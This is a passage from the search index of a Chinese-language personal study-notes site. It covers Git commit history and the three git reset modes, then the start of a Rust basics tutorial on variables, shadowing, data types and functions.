f81217a\u3002\u63d0\u4ea4\u4fe1\u606f\u4e3a\u201c\u6dfb\u52a0text.txt\u6587\u4ef6\u201d\u3002\u5728\u8fd9\u6b21\u63d0\u4ea4\u4e2d\uff0c\u6709\u4e00\u4e2a\u6587\u4ef6\u53d1\u751f\u4e86\u53d8\u5316\uff0c\u8fdb\u884c\u4e861\u6b21\u63d2\u5165\u64cd\u4f5c\uff0c\u5e76\u4e14\u521b\u5efa\u4e86\u4e00\u4e2a\u65b0\u7684\u6587\u4ef6 text.txt\uff0c\u6587\u4ef6\u6743\u9650\u4e3a 100644\u3002\u6587\u4ef6\u6743\u9650 100644 \u8868\u793a\u8fd9\u662f\u4e00\u4e2a\u666e\u901a\u6587\u4ef6\uff0c\u6240\u6709\u8005\u6709\u8bfb\u5199\u6743\u9650\uff0c\u7ec4\u7528\u6237\u548c\u5176\u4ed6\u7528\u6237\u6709\u53ea\u8bfb\u6743\u9650\u3002</p> <p>\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7 <pre><code>git log\n</code></pre> \u6765\u67e5\u770b\u63d0\u4ea4\u4fe1\u606f</p> \u67e5\u770b\u63d0\u4ea4\u4fe1\u606f <p>\u8fd9\u91cc\u5c55\u793a\u4e86\u5b8c\u6574\u7684\u63d0\u4ea4\u4fe1\u606f,\u5305\u62ec\u63d0\u4ea4\u7684\u54c8\u5e0c\u503c,\u63d0\u4ea4\u4fe1\u606f,\u63d0\u4ea4\u65f6\u95f4,\u63d0\u4ea4\u8005\u7b49\u4fe1\u606f\uff0c\u5982\u679c\u4e0d\u60f3\u8981\u770b\u5230\u8fd9\u4e48\u591a\u4fe1\u606f,\u53ef\u4ee5\u4f7f\u7528</p> <pre><code>git log --oneline\n</code></pre> \u67e5\u770b\u63d0\u4ea4\u4fe1\u606f"},{"location":"NOTE/CS/GIT/#_7","title":"\u7248\u672c\u56de\u9000","text":"<p>\u8bbe\u60f3\u8fd9\u6837\u4e00\u4e2a\u573a\u666f,\u4f60\u4fee\u6539\u4e86\u5341\u6b21\u6587\u4ef6,\u7136\u540e\u4f60\u53d1\u73b0\u4f60\u4fee\u6539\u9519\u4e86,\u73b0\u5728\u4f60\u60f3\u8981\u56de\u5230\u4f60\u4fee\u6539\u524d\u7684\u72b6\u6001,\u5982\u679c\u6ca1\u6709git,\u800c\u4f60\u7684\u7f16\u8f91\u5668\u53c8\u6070\u597d\u4e0d\u80fd\u4e00\u76f4<code>Ctrl+Z</code>\u5230\u4f60\u4fee\u6539\u524d\u7684\u72b6\u6001,\u90a3\u4e48\u4f60\u53ea\u80fd\u624b\u52a8\u4e00\u4e2a\u4e00\u4e2a\u7684\u6539\u56de\u53bb,\u8fd9\u663e\u7136\u662f\u975e\u5e38\u9ebb\u70e6\u7684,\u800cgit\u53ef\u4ee5\u8f7b\u677e\u7684\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898</p> <p>Git\u4f7f\u7528git reset \u547d\u4ee4\u6765\u56de\u9000\u7248\u672c,git reset \u547d\u4ee4\u6709\u4e09\u4e2a\u53c2\u6570</p> <ol> <li>--soft: \u56de\u9000\u5230\u67d0\u4e2a\u7248\u672c,\u4f46\u662f\u4e0d\u6539\u53d8\u4efb\u4f55\u4e1c\u897f</li> <li>--hard: \u56de\u9000\u5230\u67d0\u4e2a\u7248\u672c,\u5e76\u4e22\u5f03\u5de5\u4f5c\u533a,\u548c\u6682\u5b58\u533a\u7684\u6240\u6709\u4fee\u6539\u5185\u5bb9</li> <li>--mixed: \u56de\u9000\u5230\u67d0\u4e2a\u7248\u672c,\u4fdd\u7559\u5de5\u4f5c\u533a\u7684\u4fee\u6539\uff0c\u4e22\u5f03\u6682\u5b58\u533a\u7684\u4fee\u6539</li> </ol> \u7eff\u8272\u4ee3\u8868\u4fdd\u5b58,\u7ea2\u8272\u4ee3\u8868\u4e22\u5f03 <p>\u63a5\u4e0b\u6765\u6211\u4eec\u5177\u4f53\u770b\u770b\u5b83\u4eec\u662f\u600e\u4e48\u5de5\u4f5c\u7684,\u9996\u5148\u6211\u4eec\u521b\u5efa\u4e24\u4e2a\u6587\u4ef6,\u5e76\u8fdb\u884c\u4e24\u6b21\u63d0\u4ea4</p> \u521b\u5efa\u4e24\u4e2a\u6587\u4ef6,\u5e76\u8fdb\u884c\u4e24\u6b21\u63d0\u4ea4 <p>\u6b64\u65f6Head\u6307\u5411\u7684\u662f\u7b2c\u4e09\u6b21\u63d0\u4ea4,\u4e5f\u5c31\u662fmaster\u5206\u652f\u7684\u6700\u65b0\u7248\u672c,\u6b64\u65f6\u5de5\u4f5c\u533a\u6709\u4e09\u4e2a\u6587\u4ef6,\u6682\u5b58\u533a\u4e3a\u7a7a</p> <p>\u4e3a\u4e86\u65b9\u4fbf\u6bd4\u5bf9\u4e09\u79cd\u4e0d\u540c\u6307\u4ee4,\u5c06\u8fd9\u4e2a\u4ed3\u5e93\u590d\u5236\u4e24\u4e2a\u526f\u672c,\u5206\u522b\u547d\u540d\u4e3agit_practice1\u548cgit_practice2</p>"},{"location":"NOTE/CS/GIT/#-soft","title":"--soft","text":"<p>\u73b0\u5728,\u6211\u4eec\u4fee\u6539text1.txt\u6587\u4ef6,\u5e76\u8fdb\u884c\u4e00\u6b21add</p> <p>\u73b0\u5728\uff0c\u4f7f\u7528soft\u6307\u4ee4\u56de\u9000\u5230\u7b2c\u7b2c\u4e00\u6b21\u63d0\u4ea4</p> <p>\u53ef\u4ee5\u770b\u5230,\u5de5\u4f5c\u533a\u6ca1\u6709\u53d1\u751f\u4efb\u4f55\u53d8\u5316,\u4f46\u662f\u6682\u5b58\u533a\u53d1\u751f\u4e86\u53d8\u5316,\u6211\u4eec\u4e4b\u524d\u63d0\u4ea4\u7684text2\u548ctext3\u6587\u4ef6\u53d8\u6210\u4e86new file;</p> <p>\u540c\u65f6\u4e24\u6b21\u63d0\u4ea4\u90fd\u4e0d\u89c1\u4e86,HEAD\u6307\u5411\u4e86\u7b2c\u4e00\u6b21\u63d0\u4ea4</p> <p>soft\u6307\u4ee4\u4fdd\u5b58\u6240\u6709\u7684\u66f4\u6539,\u4ec5\u4ec5\u5728commmit\u79cd\u6709\u53d8\u5316,\u8fd9\u5728\u5904\u7406\u53ea\u60f3\u8981\u56de\u9000\u5230\u67d0\u4e2a\u7248\u672c,\u4f46\u662f\u4e0d\u60f3\u8981\u4e22\u5f03\u5de5\u4f5c\u533a,\u548c\u6682\u5b58\u533a\u7684\u4fee\u6539\u65f6\u975e\u5e38\u6709\u7528</p>"},{"location":"NOTE/CS/GIT/#-hard","title":"--hard","text":"<p>\u73b0\u5728,\u6211\u4eec\u8fdb\u5165git_practice1,\u5e76\u8fdb\u884c\u4e00\u6b21add</p> <p>\u4f7f\u7528hard\u6307\u4ee4\u56de\u9000\u5230\u7b2c\u4e00\u6b21\u63d0\u4ea4</p> <p>\u53ef\u4ee5\u770b\u5230,\u5de5\u4f5c\u533a,\u6682\u5b58\u533a,\u548c\u63d0\u4ea4\u90fd\u53d1\u751f\u4e86\u53d8\u5316,\u5de5\u4f5c\u533a,\u6682\u5b58\u533a,\u548c\u63d0\u4ea4\u90fd\u53d8\u6210\u4e86\u7b2c\u4e00\u6b21\u63d0\u4ea4\u7684\u6837\u5b50</p> <p>\u76f8\u5f53\u4e8e\u7b2c\u4e8c\u6b21\u7b2c\u4e09\u6b21\u63d0\u4ea4\u4ee5\u53ca\u5b83\u4eec\u7684\u4fee\u6539\u90fd\u6ca1\u6709\u53d1\u751f\u8fc7,\u6267\u884c\u7c7b\u4f3c\u4e8e<code>Ctrl+Z</code>\u7684\u64cd\u4f5c</p>"},{"location":"NOTE/CS/GIT/#-mixed","title":"--mixed","text":"<p>\u73b0\u5728,\u6211\u4eec\u8fdb\u5165git_practice2,\u5e76\u8fdb\u884c\u4e00\u6b21add\uff0c\u7136\u540e\u4f7f\u7528mixed\u6307\u4ee4\u56de\u9000\u5230\u7b2c\u4e00\u6b21\u63d0\u4ea4</p> <p>\u53ef\u4ee5\u770b\u5230,\u6682\u5b58\u533a\u7a7a\u7a7a\u5982\u4e5f,\u800c\u5de5\u4f5c\u533a\u4ecd\u7136\u662f\u4fee\u6539\u540e\u7684\u6837\u5b50,\u76f8\u5f53\u4e8e\u8fdb\u884c\u4e86\u4fee\u6539,\u4f46\u662f\u6ca1\u6709\u8fdb\u884c\u4efb\u4f55\u63d0\u4ea4</p> <p>\u6ce8\u610f</p> <p><code>--Hard</code>\u4f1a\u4e22\u5f03\u6240\u6709\u7684\u4fee\u6539,\u4e00\u5b9a\u8981\u614e\u7528,\u4e00\u822c\u90fd\u63a8\u8350\u4f7f\u7528<code>--soft</code>\u548c<code>--mixed</code></p> <p>\u540c\u65f6\u5728\u4e0a\u9762\u6211\u4eec\u4e5f\u53ef\u4ee5\u53d1\u73b0,\u4f7f\u7528soft\u7684\u65f6\u5019,\u4e0d\u4f1a\u7ed9\u4f60\u4efb\u4f55\u63d0\u793a,\u4f7f\u7528hard\u4f1a\u544a\u8bc9\u4f60\u73b0\u5728head\u5728\u54ea\u91cc,\u4f7f\u7528mixed\u4f1a\u544a\u8bc9\u4f60unstaged changes,\u4e5f\u5c31\u662f\u672a\u6682\u5b58\u7684\u53d8\u5316(\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\u662fM text.txt),\u5373\u4fee\u6539\u540e(Modified)\u7684text.txt\u6587\u4ef6\u4ece\u6682\u5b58\u533a\u4e2d\u79fb\u9664</p> <p>\u5728\u5b9e\u8df5\u8fc7\u7a0b\u4e2d,\u53ef\u4ee5\u4f7f\u7528<code>git ls-files</code>\u6765\u67e5\u770b\u6682\u5b58\u533a\u4e2d\u7684\u6587\u4ef6</p> <p>\u53ef\u4ee5\u4f7f\u7528<code>git status</code>\u6765\u67e5\u770b\u5de5\u4f5c\u533a,\u6682\u5b58\u533a,\u548c\u63d0\u4ea4\u7684\u72b6\u6001</p>"},{"location":"NOTE/CS/RUST/RUST/","title":"RUST\u57fa\u7840\u8bed\u6cd5","text":"<p> \u7ea6 14958 \u4e2a\u5b57  1057 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 65 \u5206\u949f</p> <p>\u636e\u8bf4\u8fd9\u95e8\u8bed\u8a00\u5f88</p>"},{"location":"NOTE/CS/RUST/RUST/#_1","title":"\u524d\u7f6e","text":"<p>Rust\u8bed\u8a00\u7684\u7279\u70b9</p> <ul> <li> <p>\u9ad8\u6027\u80fd: Rust \u901f\u5ea6\u60ca\u4eba\u4e14\u5185\u5b58\u5229\u7528\u7387\u6781\u9ad8\u3002\u7531\u4e8e\u6ca1\u6709\u8fd0\u884c\u65f6\u548c\u5783\u573e\u56de\u6536\uff0c\u5b83\u80fd\u591f\u80dc\u4efb\u5bf9\u6027\u80fd\u8981\u6c42\u7279\u522b\u9ad8\u7684\u670d\u52a1\uff0c\u53ef\u4ee5\u5728\u5d4c\u5165\u5f0f\u8bbe\u5907\u4e0a\u8fd0\u884c\uff0c\u8fd8\u80fd\u8f7b\u677e\u548c\u5176\u4ed6\u8bed\u8a00\u96c6\u6210\u3002</p> </li> <li> <p>\u53ef\u9760\u6027: Rust \u4e30\u5bcc\u7684\u7c7b\u578b\u7cfb\u7edf\u548c\u6240\u6709\u6743\u6a21\u578b\u4fdd\u8bc1\u4e86\u5185\u5b58\u5b89\u5168\u548c\u7ebf\u7a0b\u5b89\u5168\uff0c\u8ba9\u60a8\u5728\u7f16\u8bd1\u671f\u5c31\u80fd\u591f\u6d88\u9664\u5404\u79cd\u5404\u6837\u7684\u9519\u8bef\u3002</p> </li> <li> <p>\u751f\u4ea7\u529b Rust \u62e5\u6709\u51fa\u8272\u7684\u6587\u6863\u3001\u53cb\u597d\u7684\u7f16\u8bd1\u5668\u548c\u6e05\u6670\u7684\u9519\u8bef\u63d0\u793a\u4fe1\u606f\uff0c \u8fd8\u96c6\u6210\u4e86\u4e00\u6d41\u7684\u5de5\u5177 \u2014\u2014 \u5305\u7ba1\u7406\u5668\u548c\u6784\u5efa\u5de5\u5177\uff0c \u667a\u80fd\u5730\u81ea\u52a8\u8865\u5168\u548c\u7c7b\u578b\u68c0\u9a8c\u7684\u591a\u7f16\u8f91\u5668\u652f\u6301\uff0c \u4ee5\u53ca\u81ea\u52a8\u683c\u5f0f\u5316\u4ee3\u7801\u7b49\u7b49\u3002</p> </li> </ul> <p>Rust\u7684\u5e94\u7528</p> <p>Rust \u8bed\u8a00\u53ef\u4ee5\u7528\u4e8e\u5f00\u53d1\uff1a</p> <ul> <li>\u4f20\u7edf\u547d\u4ee4\u884c\u7a0b\u5e8f  Rust \u7f16\u8bd1\u5668\u53ef\u4ee5\u76f4\u63a5\u751f\u6210\u76ee\u6807\u53ef\u6267\u884c\u7a0b\u5e8f\uff0c\u4e0d\u9700\u8981\u4efb\u4f55\u89e3\u91ca\u7a0b\u5e8f\u3002</li> <li>Web \u5e94\u7528  Rust \u53ef\u4ee5\u88ab\u7f16\u8bd1\u6210 WebAssembly\uff0cWebAssembly \u662f\u4e00\u79cd JavaScript \u7684\u9ad8\u6548\u66ff\u4ee3\u54c1\u3002</li> <li> <p>\u7f51\u7edc\u670d\u52a1\u5668  Rust \u7528\u6781\u4f4e\u7684\u8d44\u6e90\u6d88\u8017\u505a\u5230\u5b89\u5168\u9ad8\u6548\uff0c\u4e14\u5177\u5907\u5f88\u5f3a\u7684\u5927\u89c4\u6a21\u5e76\u53d1\u5904\u7406\u80fd\u529b\uff0c\u5341\u5206\u9002\u5408\u5f00\u53d1\u666e\u901a\u6216\u6781\u7aef\u7684\u670d\u52a1\u5668\u7a0b\u5e8f\u3002</p> </li> <li> <p>\u5d4c\u5165\u5f0f\u8bbe\u5907  Rust \u540c\u65f6\u5177\u6709JavaScript \u4e00\u822c\u7684\u9ad8\u6548\u5f00\u53d1\u8bed\u6cd5\u548c C \u8bed\u8a00\u7684\u6267\u884c\u6548\u7387\uff0c\u652f\u6301\u5e95\u5c42\u5e73\u53f0\u7684\u5f00\u53d1\u3002</p> </li> </ul> <p>RUST\u6587\u4ef6\u7684\u540e\u7f00\u540d\u4e3a<code>.rs</code>,\u901a\u8fc7\u8fd0\u884c<code>rustc  xxx.rs</code>\u53ef\u4ee5\u76f4\u63a5\u751f\u6210\u53ef\u6267\u884c\u6587\u4ef6</p> <p>rust\u8bed\u8a00\u7684\u6ce8\u91ca\u65b9\u5f0f\u8ddfC\u8bed\u8a00\u4e00\u6837\uff0c\u652f\u6301\u4e24\u79cd\u6ce8\u91ca\u65b9\u6cd5\uff0c<code>//\u5355\u884c\u6ce8\u91ca\u548c/**/\u591a\u884c\u6ce8\u91ca</code></p> <p>\u4f46\u662f\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b<code>///</code> \u4ecd\u7136\u662f\u4e00\u79cd\u5408\u6cd5\u7684\u6ce8\u91ca\u65b9\u5f0f\uff0c\u6240\u4ee5\u53ef\u4ee5\u7528\u8fd9\u79cd\u7279\u6b8a\u7684\u65b9\u5f0f\u6765\u5f53\u4f5c\u6587\u6863\u7684\u8bf4\u660e</p>"},{"location":"NOTE/CS/RUST/RUST/#_2","title":"\u53d8\u91cf","text":""},{"location":"NOTE/CS/RUST/RUST/#_3","title":"\u58f0\u660e\u53d8\u91cf","text":"<p>Rust\u662f\u5f3a\u7c7b\u578b\u8bed\u8a00\uff0c\u5177\u6709\u81ea\u52a8\u5224\u65ad\u53d8\u91cf\u7c7b\u578b\u7684\u80fd\u529b\u3002</p> <p>\u5982\u679c\u8981\u58f0\u660e\u53d8\u91cf\u9700\u8981\u4f7f\u7528<code>let</code>\u5173\u952e\u5b57</p> <p>\u4f8b\u5982\uff1a <pre><code>   let a = 1\n</code></pre> \u5728\u53d8\u91cf<code>a</code>\u88ab\u58f0\u660e\u4e4b\u540e,<code>a</code>\u5c31\u88ab\u786e\u5b9a\u4e3a\u6574\u5f62 \u4e0d\u53ef\u53d8\u53d8\u91cf  \u4e5f\u5c31\u662f\u8bf4:</p> <ul> <li>\u4e0d\u53ef\u4ee5\u5c06\u5176\u5b83\u7c7b\u578b\u7684\u53d8\u91cf\u8d4b\u7ed9\u5b83</li> <li>\u4e0d\u5141\u8bb8\u5c06\u5c0f\u6570\u8d4b\u7ed9\u5b83\uff0c\u56e0\u4e3a\u81ea\u52a8\u8f6c\u6362\u6570\u5b57\u7cbe\u5ea6\u6709\u635f\u5931\uff0cRust \u8bed\u8a00\u4e0d\u5141\u8bb8\u7cbe\u5ea6\u6709\u635f\u5931\u7684\u81ea\u52a8\u6570\u636e\u7c7b\u578b\u8f6c\u6362\u3002</li> <li>\u4e0d\u5141\u8bb8\u5bf9\u5b83\u91cd\u65b0\u8d4b\u5176\u4ed6\u503c</li> </ul> <p>\u5982\u679c\u60f3\u8981<code>a</code>\u53ef\u4ee5\u88ab\u91cd\u65b0\u8d4b\u503c\uff0c\u53ea\u9700\u8981\u5728<code>a</code>\u524d\u9762\u52a0\u4e00\u4e2a<code>mut</code>\uff08mutable\uff09\uff0c\u8fd9\u6837<code>a</code>\u5c31\u53d8\u6210\u4e86\u53ef\u53d8\u7684\u53d8\u91cf</p> <p>\u4f8b\u5982\uff1a <pre><code>   let mut a = 1\n   a = 2\n</code></pre></p> <p>\u5e38\u91cf\u4e0e\u4e0d\u53ef\u53d8\u53d8\u91cf\u7684\u533a\u522b</p> <p>\u4e0d\u53ef\u53d8\u53d8\u91cf\u4ecd\u7136\u662f\u53d8\u91cf\uff0c\u4e5f\u5c31\u662f\u8bf4\u53ef\u4ee5\u5bf9\u5b83**\u91cd\u65b0\u5b9a\u4e49**\uff0c\u4f8b\u5982\uff1a <pre><code>let a = 123;   // \u53ef\u4ee5\u7f16\u8bd1\uff0c\u4f46\u53ef\u80fd\u6709\u8b66\u544a\uff0c\u56e0\u4e3a\u8be5\u53d8\u91cf\u6ca1\u6709\u88ab\u4f7f\u7528\nlet a = 456;   //\u8fd9\u91cc\u7528\u4e86let\u91cd\u65b0\u7ed1\u5b9a\u53d8\u91cf\u5bf9\u5e94\u7684\u503c\uff0c\u6ca1\u6709\u76f4\u63a5\u5bf9\u5b83\u8d4b\u503c\n</code></pre> \u4f46\u662f\u5982\u679c\u662f\u5e38\u91cf\uff0c\u5c31\u4e0d\u5141\u8bb8\u5bf9\u5b83\u8fdb\u884c\u4efb\u4f55\u6539\u53d8\u7684\u64cd\u4f5c <pre><code>const a: i32 = 123;\nlet a = 456;\n</code></pre> \u8fd9\u79cd\u4e0d\u53ef\u53d8\u53d8\u91cf\u7684\u540d\u79f0\u53ef\u4ee5\u88ab\u91cd\u65b0\u7ed1\u5b9a\u7684\u673a\u5236\u53eb\u505a**\u91cd\u5f71(shadowing)**</p> <p><pre><code>fn main() {\nlet x = 5;\nlet x = x + 1;\nlet x = x * 2;\nprintln!(\"The value of x is: {}\", x);\n}\n</code></pre> \u7a0b\u5e8f\u8fd0\u884c\u7ed3\u679c</p> <pre><code>The value of x is: 12\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_4","title":"\u6570\u636e\u7c7b\u578b","text":"<p>\u6574\u6570\u7c7b\u578b</p> <p>\u6574\u6570\u578b\u7b80\u79f0\u6574\u578b\uff0c\u6309\u7167\u6bd4\u7279\u4f4d\u957f\u5ea6\u548c\u6709\u65e0\u7b26\u53f7\u5206\u4e3a\u4ee5\u4e0b\u79cd\u7c7b\uff1a</p> \u4f4d\u957f\u5ea6 \u6709\u7b26\u53f7 \u65e0\u7b26\u53f7 8-bit i8 u8 16-bit i16 u16 32-bit i32 u32 64-bit i64 u64 128-bit i128 u128 arch isize usize <p>isize \u548c usize \u4e24\u79cd\u6574\u6570\u7c7b\u578b\u662f\u7528\u6765\u8861\u91cf\u6570\u636e\u5927\u5c0f\u7684\uff0c\u5b83\u4eec\u7684\u4f4d\u957f\u5ea6\u53d6\u51b3\u4e8e\u6240\u8fd0\u884c\u7684\u76ee\u6807\u5e73\u53f0\uff0c\u5982\u679c\u662f 32 \u4f4d\u67b6\u6784\u7684\u5904\u7406\u5668\u5c06\u4f7f\u7528 32 \u4f4d\u4f4d\u957f\u5ea6\u6574\u578b</p> <p>rust\u4e2d\u53ef\u4ee5\u7528\u4e0d\u540c\u7684\u65b9\u5f0f\u8868\u793a\u6574\u6570</p> \u8fdb\u5236 \u4f8b \u5341\u8fdb\u5236 98_222 \u5341\u516d\u8fdb\u5236 0xff \u516b\u8fdb\u5236 0o77 \u4e8c\u8fdb\u5236 0b1111_0000 \u5b57\u8282(\u53ea\u80fd\u8868\u793a u8 \u578b) b'A' <p>Example</p> <p>\u867d\u7136 Rust \u6709\u81ea\u52a8\u5224\u65ad\u7c7b\u578b\u7684\u529f\u80fd\uff0c\u4f46\u6709\u4e9b\u60c5\u51b5\u4e0b\u58f0\u660e\u7c7b\u578b\u66f4\u52a0\u65b9\u4fbf\uff1a <pre><code>let a: u64 = 1;\n</code></pre> \u8fd9\u91cc\u58f0\u660e\u4e86 <code>a</code> \u4e3a\u65e0\u7b26\u53f7 64 \u4f4d\u6574\u578b\u53d8\u91cf\uff0c\u5982\u679c\u6ca1\u6709\u58f0\u660e\u7c7b\u578b\uff0c<code>a</code> \u5c06\u81ea\u52a8\u88ab\u5224\u65ad\u4e3a\u6709\u7b26\u53f7 32 \u4f4d\u6574\u578b\u53d8\u91cf\uff0c\u8fd9\u5bf9\u4e8e <code>a</code> \u7684\u53d6\u503c\u8303\u56f4\u6709\u5f88\u5927\u7684\u5f71\u54cd\u3002</p> <p>\u6d6e\u70b9\u6570\u578b(Floating-Point)</p> <p>Rust \u4e0e\u5176\u5b83\u8bed\u8a00\u4e00\u6837\u652f\u6301 32 \u4f4d\u6d6e\u70b9\u6570\uff08f32\uff09\u548c 64 \u4f4d\u6d6e\u70b9\u6570\uff08f64\uff09\u3002\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c64.0 \u5c06\u8868\u793a 64 \u4f4d\u6d6e\u70b9\u6570\uff0c\u56e0\u4e3a\u73b0\u4ee3\u8ba1\u7b97\u673a\u5904\u7406\u5668\u5bf9\u4e24\u79cd\u6d6e\u70b9\u6570\u8ba1\u7b97\u7684\u901f\u5ea6\u51e0\u4e4e\u76f8\u540c\uff0c\u4f46 64 \u4f4d\u6d6e\u70b9\u6570\u7cbe\u5ea6\u66f4\u9ad8\u3002</p> <p>\u5b9e\u4f8b</p> <pre><code>fn main() {\n    let x = 2.0; // f64\n    let y: f32 = 3.0; // f32\n}\n</code></pre> <p>rust \u540c\u65f6\u4e5f\u652f\u6301\u57fa\u672c\u7684\u6570\u5b66\u8fd0\u7b97\uff0c\u4f46\u662f\u4e0d\u652f\u6301C\u8bed\u8a00\u91cc\u9762\u6709\u7684<code>++</code>\u548c<code>--</code>,\u56e0\u4e3a\u8fd9\u4e24\u4e2a\u8fd0\u7b97\u7b26\u51fa\u73b0\u5728\u53d8\u91cf\u7684\u524d\u540e\u4f1a\u5f71\u54cd\u4ee3\u7801\u53ef\u8bfb\u6027\uff0c\u51cf\u5f31\u4e86\u5f00\u53d1\u8005\u5bf9\u53d8\u91cf\u6539\u53d8\u7684\u610f\u8bc6\u80fd\u529b\u3002</p> <p>\u57fa\u672c\u7684\u56db\u5219\u8fd0\u7b97\u6709<code>+(\u52a0)</code>,<code>-(\u51cf)</code>,<code>*(\u4e58)</code>,<code>/(\u9664)</code>,<code>%(mod)</code></p> <p>bool\u7c7b\u578b</p> <p>bool\u503c\u53ea\u80fd\u4e3atrue\u6216\u8005false</p> <p>\u5b57\u7b26\u578b</p> <p>\u5b57\u7b26\u578b\u7528 char \u8868\u793a\u3002 Rust\u7684 char \u7c7b\u578b\u5927\u5c0f\u4e3a 4 \u4e2a\u5b57\u8282\uff0c\u4ee3\u8868 Unicode\u6807\u91cf\u503c\uff0c\u8fd9\u610f\u5473\u7740\u5b83\u53ef\u4ee5\u652f\u6301\u4e2d\u6587\uff0c\u65e5\u6587\u548c\u97e9\u6587\u5b57\u7b26\u7b49\u975e\u82f1\u6587\u5b57\u7b26\u751a\u81f3\u8868\u60c5\u7b26\u53f7\u548c\u96f6\u5bbd\u5ea6\u7a7a\u683c\u5728 Rust \u4e2d\u90fd\u662f\u6709\u6548\u7684 char \u503c\u3002 Unicode \u503c\u7684\u8303\u56f4\u4ece U+0000 \u5230 U+D7FF \u548c U+E000 \u5230 U+10FFFF \uff08\u5305\u62ec\u4e24\u7aef\uff09\u3002 \u4f46\u662f\uff0c\"\u5b57\u7b26\"\u8fd9\u4e2a\u6982\u5ff5\u5e76\u4e0d\u5b58\u5728\u4e8e Unicode \u4e2d\uff0c\u56e0\u6b64\u60a8\u5bf9\"\u5b57\u7b26\"\u662f\u4ec0\u4e48\u7684\u76f4\u89c9\u53ef\u80fd\u4e0eRust\u4e2d\u7684\u5b57\u7b26\u6982\u5ff5\u4e0d\u5339\u914d\u3002\u6240\u4ee5\u4e00\u822c\u63a8\u8350\u4f7f\u7528\u5b57\u7b26\u4e32\u50a8\u5b58 UTF-8 \u6587\u5b57\uff08\u975e\u82f1\u6587\u5b57\u7b26\u5c3d\u53ef\u80fd\u5730\u51fa\u73b0\u5728\u5b57\u7b26\u4e32\u4e2d\uff09\u3002</p> <p>\u6ce8\u610f\uff1a\u7531\u4e8e\u4e2d\u6587\u6587\u5b57\u7f16\u7801\u6709\u4e24\u79cd\uff08GBK \u548c UTF-8\uff09\uff0c\u6240\u4ee5\u7f16\u7a0b\u4e2d\u4f7f\u7528\u4e2d\u6587\u5b57\u7b26\u4e32\u6709\u53ef\u80fd\u5bfc\u81f4\u4e71\u7801\u7684\u51fa\u73b0\uff0c\u8fd9\u662f\u56e0\u4e3a\u6e90\u7a0b\u5e8f\u4e0e\u547d\u4ee4\u884c\u7684\u6587\u5b57\u7f16\u7801\u4e0d\u4e00\u81f4\uff0c\u6240\u4ee5\u5728 Rust \u4e2d\u5b57\u7b26\u4e32\u548c\u5b57\u7b26\u90fd\u5fc5\u987b\u4f7f\u7528 UTF-8 \u7f16\u7801\uff0c\u5426\u5219\u7f16\u8bd1\u5668\u4f1a\u62a5\u9519\u3002</p> <p>\u590d\u5408\u7c7b\u578b</p> <p>\u8ddfpython\u7c7b\u4f3c,rust\u4e2d\u6709</p> <ul> <li> <p>\u5143\u7ec4<code>()</code>,\u53ef\u4ee5\u5305\u542b\u4e0d\u540c\u7684\u6570\u636e\u7c7b\u578b <pre><code>let tup: (i32, f64, u8) = (500, 6.4, 1);\n// tup.0 \u7b49\u4e8e 500\n// tup.1 \u7b49\u4e8e 6.4\n// tup.2 \u7b49\u4e8e 1\nlet (x, y, z) = tup;\n// y \u7b49\u4e8e 6.4\n</code></pre></p> </li> <li> <p>\u6570\u7ec4<code>[]</code>,\u540c\u7c7b\u578b\u6570\u636e <pre><code>let a = [1, 2, 3, 4, 5];\n// a \u662f\u4e00\u4e2a\u957f\u5ea6\u4e3a 5 \u7684\u6574\u578b\u6570\u7ec4\n\nlet b = [\"January\", \"February\", \"March\"];\n// b \u662f\u4e00\u4e2a\u957f\u5ea6\u4e3a 3 \u7684\u5b57\u7b26\u4e32\u6570\u7ec4\n\nlet c: [i32; 5] = [1, 2, 3, 4, 5];\n// c \u662f\u4e00\u4e2a\u957f\u5ea6\u4e3a 5 \u7684 i32 \u6570\u7ec4\n\nlet d = [3; 5];\n// \u7b49\u540c\u4e8e let d = [3, 3, 3, 3, 3];\n\nlet first = a[0];\nlet second = a[1];\n// \u6570\u7ec4\u8bbf\u95ee\n\na[0] = 123; // \u9519\u8bef\uff1a\u6570\u7ec4 a \u4e0d\u53ef\u53d8\nlet mut a = [1, 2, 3];\na[0] = 4; // \u6b63\u786e\n</code></pre></p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_5","title":"\u51fd\u6570","text":""},{"location":"NOTE/CS/RUST/RUST/#_6","title":"\u57fa\u672c\u7ed3\u6784","text":"<p>rust\u51fd\u6570\u7684\u7ed3\u6784\u548cC\u8bed\u8a00\u7c7b\u4f3c,\u5176\u57fa\u672c\u7ed3\u6784\u4e3a</p> <pre><code>fn &lt;\u51fd\u6570\u540d&gt;(&lt;\u53c2\u6570&gt;)&lt;\u51fd\u6570\u4f53&gt;\n</code></pre> <p>\u7528\u5230\u7684\u51fd\u6570\u9700\u8981\u5728main\u51fd\u6570\u91cc\u9762\u8c03\u7528\uff0c\u4f46\u662f\u5e76\u4e0d\u9700\u8981\u5728\u8c03\u7528\u4e4b\u524d\u51fa\u73b0</p> <p>Example</p> <pre><code>fn main() {\n    println!(\"Hello, world!\");\n    another_function();\n}\nfn another_function() {\n    println!(\"Hello, runoob!\");\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_7","title":"\u51fd\u6570\u53c2\u6570","text":"<p>Rust \u4e2d\u5b9a\u4e49\u51fd\u6570\u5982\u679c\u9700\u8981\u5177\u5907\u53c2\u6570\u5fc5\u987b\u58f0\u660e\u53c2\u6570\u540d\u79f0\u548c\u7c7b\u578b\uff1a</p> <p>Example</p> <p><pre><code>fn main() {\n    another_function(5, 6);\n}\n\nfn another_function(x: i32, y: i32) {\n    println!(\"x \u7684\u503c\u4e3a : {}\", x);\n    println!(\"y \u7684\u503c\u4e3a : {}\", y);\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c <pre><code>x \u7684\u503c\u4e3a : 5\ny \u7684\u503c\u4e3a : 6\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_8","title":"\u51fd\u6570\u4f53\u7684\u8bed\u53e5\u548c\u8868\u8fbe\u5f0f","text":"<p>Rust \u51fd\u6570\u4f53\u7531\u4e00\u7cfb\u5217\u53ef\u4ee5  